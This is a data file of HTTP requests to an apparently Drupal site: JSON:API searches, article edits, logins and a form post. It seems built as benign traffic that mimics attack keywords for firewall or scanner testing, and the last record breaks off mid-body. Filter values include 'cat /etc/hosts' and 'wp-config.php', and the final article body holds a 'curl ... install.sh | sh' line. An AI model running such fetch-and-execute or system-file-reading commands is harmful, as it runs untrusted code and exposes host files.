{"method": "GET", "target": "/jsonapi/node/article?filter%5Bg%5D%5Bgroup%5D%5Bconjunction%5D=OR&filter%5Bt%5D%5Bcondition%5D%5Bpath%5D=field_tags.name&filter%5Bt%5D%5Bcondition%5D%5Bvalue%5D=ls%20-la&filter%5Bt%5D%5Bcondition%5D%5BmemberOf%5D=g", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json"], "body": ""}
|
||||
{"method": "GET", "target": "/jsonapi/taxonomy_term/tags?filter%5Bname%5D=ls%20-la", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json"], "body": ""}
|
||||
{"method": "GET", "target": "/jsonapi/user/user?filter%5Bname%5D=ls%20-la", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json"], "body": ""}
|
||||
{"method": "GET", "target": "/jsonapi/file/file?filter%5Bfilename%5D=ls%20-la", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json"], "body": ""}
|
||||
{"method": "GET", "target": "/jsonapi/media/image?filter%5Bname%5D=ls%20-la", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json"], "body": ""}
|
||||
{"method": "GET", "target": "/jsonapi/node/article?filter%5Btitle%5D=.htaccess", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json"], "body": ""}
|
||||
{"method": "GET", "target": "/jsonapi/node/article?filter%5Bf%5D%5Bcondition%5D%5Bpath%5D=title&filter%5Bf%5D%5Bcondition%5D%5Boperator%5D=CONTAINS&filter%5Bf%5D%5Bcondition%5D%5Bvalue%5D=.htaccess", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json"], "body": ""}
|
||||
{"method": "GET", "target": "/jsonapi/node/article?filter%5Bg%5D%5Bgroup%5D%5Bconjunction%5D=OR&filter%5Bt%5D%5Bcondition%5D%5Bpath%5D=field_tags.name&filter%5Bt%5D%5Bcondition%5D%5Bvalue%5D=.htaccess&filter%5Bt%5D%5Bcondition%5D%5BmemberOf%5D=g", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json"], "body": ""}
|
||||
{"method": "GET", "target": "/jsonapi/taxonomy_term/tags?filter%5Bname%5D=.htaccess", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json"], "body": ""}
|
||||
{"method": "GET", "target": "/jsonapi/user/user?filter%5Bname%5D=.htaccess", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json"], "body": ""}
|
||||
{"method": "GET", "target": "/jsonapi/file/file?filter%5Bfilename%5D=.htaccess", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json"], "body": ""}
|
||||
{"method": "GET", "target": "/jsonapi/media/image?filter%5Bname%5D=.htaccess", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json"], "body": ""}
|
||||
{"method": "GET", "target": "/jsonapi/node/article?filter%5Btitle%5D=wp-config.php", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json"], "body": ""}
|
||||
{"method": "GET", "target": "/jsonapi/node/article?filter%5Bf%5D%5Bcondition%5D%5Bpath%5D=title&filter%5Bf%5D%5Bcondition%5D%5Boperator%5D=CONTAINS&filter%5Bf%5D%5Bcondition%5D%5Bvalue%5D=wp-config.php", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json"], "body": ""}
|
||||
{"method": "GET", "target": "/jsonapi/node/article?filter%5Bg%5D%5Bgroup%5D%5Bconjunction%5D=OR&filter%5Bt%5D%5Bcondition%5D%5Bpath%5D=field_tags.name&filter%5Bt%5D%5Bcondition%5D%5Bvalue%5D=wp-config.php&filter%5Bt%5D%5Bcondition%5D%5BmemberOf%5D=g", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json"], "body": ""}
|
||||
{"method": "GET", "target": "/jsonapi/taxonomy_term/tags?filter%5Bname%5D=wp-config.php", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json"], "body": ""}
|
||||
{"method": "GET", "target": "/jsonapi/user/user?filter%5Bname%5D=wp-config.php", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json"], "body": ""}
|
||||
{"method": "GET", "target": "/jsonapi/file/file?filter%5Bfilename%5D=wp-config.php", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json"], "body": ""}
|
||||
{"method": "GET", "target": "/jsonapi/media/image?filter%5Bname%5D=wp-config.php", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json"], "body": ""}
|
||||
{"method": "GET", "target": "/jsonapi/node/article?filter%5Btitle%5D=docker-compose.yml", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json"], "body": ""}
|
||||
{"method": "GET", "target": "/jsonapi/node/article?filter%5Bf%5D%5Bcondition%5D%5Bpath%5D=title&filter%5Bf%5D%5Bcondition%5D%5Boperator%5D=CONTAINS&filter%5Bf%5D%5Bcondition%5D%5Bvalue%5D=docker-compose.yml", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json"], "body": ""}
|
||||
{"method": "GET", "target": "/jsonapi/node/article?filter%5Bg%5D%5Bgroup%5D%5Bconjunction%5D=OR&filter%5Bt%5D%5Bcondition%5D%5Bpath%5D=field_tags.name&filter%5Bt%5D%5Bcondition%5D%5Bvalue%5D=docker-compose.yml&filter%5Bt%5D%5Bcondition%5D%5BmemberOf%5D=g", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json"], "body": ""}
|
||||
{"method": "GET", "target": "/jsonapi/taxonomy_term/tags?filter%5Bname%5D=docker-compose.yml", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json"], "body": ""}
|
||||
{"method": "GET", "target": "/jsonapi/user/user?filter%5Bname%5D=docker-compose.yml", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json"], "body": ""}
|
||||
{"method": "GET", "target": "/jsonapi/file/file?filter%5Bfilename%5D=docker-compose.yml", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json"], "body": ""}
|
||||
{"method": "GET", "target": "/jsonapi/media/image?filter%5Bname%5D=docker-compose.yml", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json"], "body": ""}
|
||||
{"method": "GET", "target": "/jsonapi/node/article?filter%5Btitle%5D=cat%20/etc/hosts", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json"], "body": ""}
|
||||
{"method": "GET", "target": "/jsonapi/node/article?filter%5Bf%5D%5Bcondition%5D%5Bpath%5D=title&filter%5Bf%5D%5Bcondition%5D%5Boperator%5D=CONTAINS&filter%5Bf%5D%5Bcondition%5D%5Bvalue%5D=cat%20/etc/hosts", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json"], "body": ""}
|
||||
{"method": "GET", "target": "/jsonapi/node/article?filter%5Bg%5D%5Bgroup%5D%5Bconjunction%5D=OR&filter%5Bt%5D%5Bcondition%5D%5Bpath%5D=field_tags.name&filter%5Bt%5D%5Bcondition%5D%5Bvalue%5D=cat%20/etc/hosts&filter%5Bt%5D%5Bcondition%5D%5BmemberOf%5D=g", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json"], "body": ""}
|
||||
{"method": "GET", "target": "/jsonapi/taxonomy_term/tags?filter%5Bname%5D=cat%20/etc/hosts", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json"], "body": ""}
|
||||
{"method": "GET", "target": "/jsonapi/user/user?filter%5Bname%5D=cat%20/etc/hosts", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json"], "body": ""}
|
||||
{"method": "GET", "target": "/jsonapi/file/file?filter%5Bfilename%5D=cat%20/etc/hosts", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json"], "body": ""}
|
||||
{"method": "GET", "target": "/jsonapi/media/image?filter%5Bname%5D=cat%20/etc/hosts", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json"], "body": ""}
|
||||
{"method": "GET", "target": "/jsonapi/node/article?filter%5Btitle%5D=SELECT%20rows%20FROM%20table", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json"], "body": ""}
|
||||
{"method": "GET", "target": "/jsonapi/node/article?filter%5Bf%5D%5Bcondition%5D%5Bpath%5D=title&filter%5Bf%5D%5Bcondition%5D%5Boperator%5D=CONTAINS&filter%5Bf%5D%5Bcondition%5D%5Bvalue%5D=SELECT%20rows%20FROM%20table", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json"], "body": ""}
|
||||
{"method": "GET", "target": "/jsonapi/node/article?filter%5Bg%5D%5Bgroup%5D%5Bconjunction%5D=OR&filter%5Bt%5D%5Bcondition%5D%5Bpath%5D=field_tags.name&filter%5Bt%5D%5Bcondition%5D%5Bvalue%5D=SELECT%20rows%20FROM%20table&filter%5Bt%5D%5Bcondition%5D%5BmemberOf%5D=g", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json"], "body": ""}
|
||||
{"method": "GET", "target": "/jsonapi/taxonomy_term/tags?filter%5Bname%5D=SELECT%20rows%20FROM%20table", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json"], "body": ""}
|
||||
{"method": "GET", "target": "/jsonapi/user/user?filter%5Bname%5D=SELECT%20rows%20FROM%20table", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json"], "body": ""}
|
||||
{"method": "GET", "target": "/jsonapi/file/file?filter%5Bfilename%5D=SELECT%20rows%20FROM%20table", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json"], "body": ""}
|
||||
{"method": "GET", "target": "/jsonapi/media/image?filter%5Bname%5D=SELECT%20rows%20FROM%20table", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json"], "body": ""}
|
||||
{"method": "POST", "target": "/jsonapi/node/article", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json", "Content-Type: application/vnd.api+json", "X-Csrf-Token: zG78nvG2BJfVxmuln0IVMVLxP3mMFJbS5E-H_v9caxs"], "body": "{\"data\": {\"type\": \"node--article\", \"attributes\": {\"title\": \"Python3 and PowerShell via API\", \"body\": {\"value\": \"<p>Run ls -la in python3 and cat /etc/hosts; see <a href=\\\"/python3-notes\\\">notes</a>.</p>\", \"format\": \"basic_html\"}}}}"}
|
||||
{"method": "PATCH", "target": "/jsonapi/node/article/47f40026-bda0-41dc-b81a-f1a13535af4c", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json", "Content-Type: application/vnd.api+json", "X-Csrf-Token: zG78nvG2BJfVxmuln0IVMVLxP3mMFJbS5E-H_v9caxs"], "body": "{\"data\": {\"type\": \"node--article\", \"id\": \"47f40026-bda0-41dc-b81a-f1a13535af4c\", \"attributes\": {\"title\": \"Edited about docker-compose.yml\", \"body\": {\"value\": \"<p>SELECT rows FROM table, then ls -la.</p>\", \"format\": \"basic_html\"}}}}"}
|
||||
{"method": "GET", "target": "/jsonapi/node/article/47f40026-bda0-41dc-b81a-f1a13535af4c?include=uid", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json"], "body": ""}
|
||||
{"method": "GET", "target": "/jsonapi/node/article/47f40026-bda0-41dc-b81a-f1a13535af4c/relationships/uid", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json"], "body": ""}
|
||||
{"method": "GET", "target": "/jsonapi/node/article/47f40026-bda0-41dc-b81a-f1a13535af4c/uid", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json"], "body": ""}
|
||||
{"method": "POST", "target": "/jsonapi/node/article/field_image", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json", "Content-Type: application/octet-stream", "Content-Disposition: file; filename=\"photo.png\"", "X-Csrf-Token: zG78nvG2BJfVxmuln0IVMVLxP3mMFJbS5E-H_v9caxs"], "body": "PNG\r\n\u001a\n\u0000\u0000\u0000\rIHDR\u0000\u0000\u0000\u0001\u0000\u0000\u0000\u0001\b\u0006\u0000\u0000\u0000\u001f\u0015Ä\u0000\u0000\u0000\rIDATxÚcd`ø_\u000f\u0000\u0002\u0001ëGº\u0000\u0000\u0000\u0000IEND®B`"}
|
||||
{"method": "POST", "target": "/jsonapi/node/article/47f40026-bda0-41dc-b81a-f1a13535af4c/field_image", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json", "Content-Type: application/octet-stream", "Content-Disposition: file; filename=\"photo.png\"", "X-Csrf-Token: zG78nvG2BJfVxmuln0IVMVLxP3mMFJbS5E-H_v9caxs"], "body": "PNG\r\n\u001a\n\u0000\u0000\u0000\rIHDR\u0000\u0000\u0000\u0001\u0000\u0000\u0000\u0001\b\u0006\u0000\u0000\u0000\u001f\u0015Ä\u0000\u0000\u0000\rIDATxÚcd`ø_\u000f\u0000\u0002\u0001ëGº\u0000\u0000\u0000\u0000IEND®B`"}
|
||||
{"method": "DELETE", "target": "/jsonapi/node/article/47f40026-bda0-41dc-b81a-f1a13535af4c", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json", "X-Csrf-Token: zG78nvG2BJfVxmuln0IVMVLxP3mMFJbS5E-H_v9caxs"], "body": ""}
|
||||
{"method": "GET", "target": "/node/1?_format=json", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "PATCH", "target": "/node/1?_format=json", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Content-Type: application/json", "X-Csrf-Token: zG78nvG2BJfVxmuln0IVMVLxP3mMFJbS5E-H_v9caxs"], "body": "{\"type\": [{\"target_id\": \"article\"}], \"title\": [{\"value\": \"Edited: python3\"}]}"}
|
||||
{"method": "POST", "target": "/user/password?_format=json", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Content-Type: application/json"], "body": "{\"mail\": \"new.person@example.com\"}"}
|
||||
{"method": "POST", "target": "/user/logout?_format=json&token=6g2zVXyWnyiVNy0zy76IqHwJfb_Q7fY4m1cpnZyh0LY", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "PATCH", "target": "/jsonapi/node/article/77b584a4-587e-4273-90b7-2677a1502feb", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json", "Content-Type: application/vnd.api+json", "X-Csrf-Token: fK1nVGRmImLpZRnGKVLo_fRY4zvgCTRWbMAXJ0023ho"], "body": "{\"data\": {\"type\": \"node--article\", \"id\": \"77b584a4-587e-4273-90b7-2677a1502feb\", \"attributes\": {\"title\": \"Edited about docker-compose.yml\", \"body\": {\"value\": \"<p>SELECT rows FROM table, then ls -la.</p>\", \"format\": \"basic_html\"}}}}"}
|
||||
{"method": "GET", "target": "/jsonapi/node/article/77b584a4-587e-4273-90b7-2677a1502feb?include=uid", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json"], "body": ""}
|
||||
{"method": "GET", "target": "/jsonapi/node/article/77b584a4-587e-4273-90b7-2677a1502feb/relationships/uid", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json"], "body": ""}
|
||||
{"method": "GET", "target": "/jsonapi/node/article/77b584a4-587e-4273-90b7-2677a1502feb/uid", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json"], "body": ""}
|
||||
{"method": "POST", "target": "/jsonapi/node/article/77b584a4-587e-4273-90b7-2677a1502feb/field_image", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json", "Content-Type: application/octet-stream", "Content-Disposition: file; filename=\"photo.png\"", "X-Csrf-Token: fK1nVGRmImLpZRnGKVLo_fRY4zvgCTRWbMAXJ0023ho"], "body": "PNG\r\n\u001a\n\u0000\u0000\u0000\rIHDR\u0000\u0000\u0000\u0001\u0000\u0000\u0000\u0001\b\u0006\u0000\u0000\u0000\u001f\u0015Ä\u0000\u0000\u0000\rIDATxÚcd`ø_\u000f\u0000\u0002\u0001ëGº\u0000\u0000\u0000\u0000IEND®B`"}
|
||||
{"method": "DELETE", "target": "/jsonapi/node/article/77b584a4-587e-4273-90b7-2677a1502feb", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json", "X-Csrf-Token: fK1nVGRmImLpZRnGKVLo_fRY4zvgCTRWbMAXJ0023ho"], "body": ""}
|
||||
{"method": "POST", "target": "/user/logout?_format=json&token=aAL70H9lx1XrjIVcHIF12FLWwoi0YEwunehLXbSKZv4", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "POST", "target": "/user/login", "headers": ["Host: example.com", "Cache-Control: max-age=0", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/user/login"], "body": "name=admin&pass=example-password-1&form_build_id=form-lt4MGc7V3i3el7smsATqAMVVJ1KzV_yV3U3nOcZ7FWc&form_id=user_login_form&op=Log+in"}
|
||||
{"method": "GET", "target": "/search/user?keys=admin", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/admin/content/media-grid?name=python3", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/admin/content/media-grid?name=ls%20-la", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "POST", "target": "/user/login", "headers": ["Host: example.com", "Cache-Control: max-age=0", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/user/login"], "body": "name=admin&pass=python3-%2Fetc%2Fhosts-1&form_build_id=form-lt4MGc7V3i3el7smsATqAMVVJ1KzV_yV3U3nOcZ7FWc&form_id=user_login_form&op=Log+in"}
|
||||
{"method": "GET", "target": "/user/login?destination=/search/node%3Fkeys%3Dpython3", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7"], "body": ""}
|
||||
{"method": "GET", "target": "/user/login?destination=/admin/content%3Ftitle%3Dpowershell", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7"], "body": ""}
|
||||
{"method": "GET", "target": "/user/login?destination=/python3-notes", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7"], "body": ""}
|
||||
{"method": "POST", "target": "/contextual/render?theme=olivero", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Content-Type: application/x-www-form-urlencoded;charset=UTF-8", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/user/1?check_logged_in=1", "Cookie: SESSexample=example-session-value"], "body": "ids%5B%5D=block%3Ablock%3Dolivero_site_branding%3Alangcode%3Den&ids%5B%5D=block%3Ablock%3Dolivero_main_menu%3Alangcode%3Den%7Cmenu%3Amenu%3Dmain%3Alangcode%3Den&ids%5B%5D=block%3Ablock%3Dolivero_account_menu%3Alangcode%3Den%7Cmenu%3Amenu%3Daccount%3Alangcode%3Den&ids%5B%5D=block%3Ablock%3Dolivero_breadcrumbs%3Alangcode%3Den&ids%5B%5D=block%3Ablock%3Dolivero_page_title%3Alangcode%3Den&ids%5B%5D=block%3Ablock%3Dolivero_powered%3Alangcode%3Den&tokens%5B%5D=1rv_5u0s4iGV_AWmQmPdRm4CsxIu8wsjE8sFkt9yGF4&tokens%5B%5D=8Gi0ikQVIh2gC601Y5UBe2vi21hWy8qqpz--u2aRwZU&tokens%5B%5D=henkHDCYz37bUB9MGiVxhW9dClN1HHpXLkE9blnvU8I&tokens%5B%5D=DupSXj2bNdZYw9OEb6f4T6BX3qXPnA1znFW4miVijJU&tokens%5B%5D=pGkK5C6k5HhOIlpSVObsmKdf5DVWqjhEzJfvUSZdanw&tokens%5B%5D=jmjvcBoCtAymF3-B_C5BHjXRBqYcwKstu9qZq-rxCDw"}
|
||||
{"method": "POST", "target": "/editor/filter_xss/full_html", "headers": ["Host: example.com", "X-Requested-With: XMLHttpRequest", "Accept-Language: en-US,en;q=0.9", "Accept: application/json, text/javascript, */*; q=0.01", "Content-Type: application/x-www-form-urlencoded; charset=UTF-8", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Referer: http://example.com/node/add/article", "Cookie: SESSexample=example-session-value"], "body": "value=&original_format_id=basic_html"}
|
||||
{"method": "POST", "target": "/node/add/article", "headers": ["Host: example.com", "Cache-Control: max-age=0", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryRCXQGBEZqRVGYEzF", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/node/add/article", "Cookie: SESSexample=example-session-value"], "body": "------WebKitFormBoundaryRCXQGBEZqRVGYEzF\r\nContent-Disposition: form-data; name=\"changed\"\r\n\r\n1794214990\r\n------WebKitFormBoundaryRCXQGBEZqRVGYEzF\r\nContent-Disposition: form-data; name=\"title[0][value]\"\r\n\r\nSELECT a table: python3, ls -la and .htaccess\r\n------WebKitFormBoundaryRCXQGBEZqRVGYEzF\r\nContent-Disposition: form-data; name=\"form_build_id\"\r\n\r\nform-Vl4RHWAalDXt4xlz9gkdfBjyRGaJHUU6FRlyea9EKkc\r\n------WebKitFormBoundaryRCXQGBEZqRVGYEzF\r\nContent-Disposition: form-data; name=\"form_token\"\r\n\r\nI1fDBOjGA9cTabBxXpM8PsNoHDj_jgNpDUfryW87JZQ\r\n------WebKitFormBoundaryRCXQGBEZqRVGYEzF\r\nContent-Disposition: form-data; name=\"form_id\"\r\n\r\nnode_article_form\r\n------WebKitFormBoundaryRCXQGBEZqRVGYEzF\r\nContent-Disposition: form-data; name=\"field_image[0][fids]\"\r\n\r\n\r\n------WebKitFormBoundaryRCXQGBEZqRVGYEzF\r\nContent-Disposition: form-data; name=\"body[0][summary]\"\r\n\r\nNotes on python3 and powershell\r\n------WebKitFormBoundaryRCXQGBEZqRVGYEzF\r\nContent-Disposition: form-data; name=\"body[0][value]\"\r\n\r\n<h2>Notes on python3 and powershell</h2><p>Run <code>ls -la</code> then <a href=\"/python3-notes\">read the notes</a> or <a href=\"https://example.com/docs/setup.php?a=1&b=2\">the docs</a>.</p><pre><code class=\"language-plaintext language-bash\">#!/bin/sh\r\ncat /etc/hosts | grep example && ls -la\r\npython3 setup.py install\r\ncurl -s https://example.com/install.sh | sh\r\nSELECT name, mail FROM users WHERE uid = 1;\r\nconsole.log('ok'); document.getElementById('x');\r\nif (a == b) { echo $PATH; }\r\n</code></pre><blockquote><p>Select a table from the catalog, then union the results.</p></blockquote><ul><li data-list-item-id=\"e0931e5bf5859e9ac55e1b80ed4b3ad82\">one</li><li data-list-item-id=\"e681549baddb3c36b7bcba5605e5831c2\">two</li></ul><table class=\"table\"><tbody><tr><td>python3</td><td>3.13</td></tr></tbody></table><p><img src=\"/sites/default/files/inline-images/photo.png\" data-entity-uuid=\"11111111-2222-4333-8444-555555555555\" data-entity-type=\"file\" alt=\"A photo\" width=\"1\" height=\"1\"></p>\r\n------WebKitFormBoundaryRCXQGBEZqRVGYEzF\r\nContent-Disposition: form-data; name=\"body[0][format]\"\r\n\r\nfull_html\r\n------WebKitFormBoundaryRCXQGBEZqRVGYEzF\r\nContent-Disposition: form-data; name=\"field_tags[target_id]\"\r\n\r\n\r\n------WebKitFormBoundaryRCXQGBEZqRVGYEzF\r\nContent-Disposition: form-data; name=\"revision_log[0][value]\"\r\n\r\nAdded ls -la and python3 notes\r\n------WebKitFormBoundaryRCXQGBEZqRVGYEzF\r\nContent-Disposition: form-data; 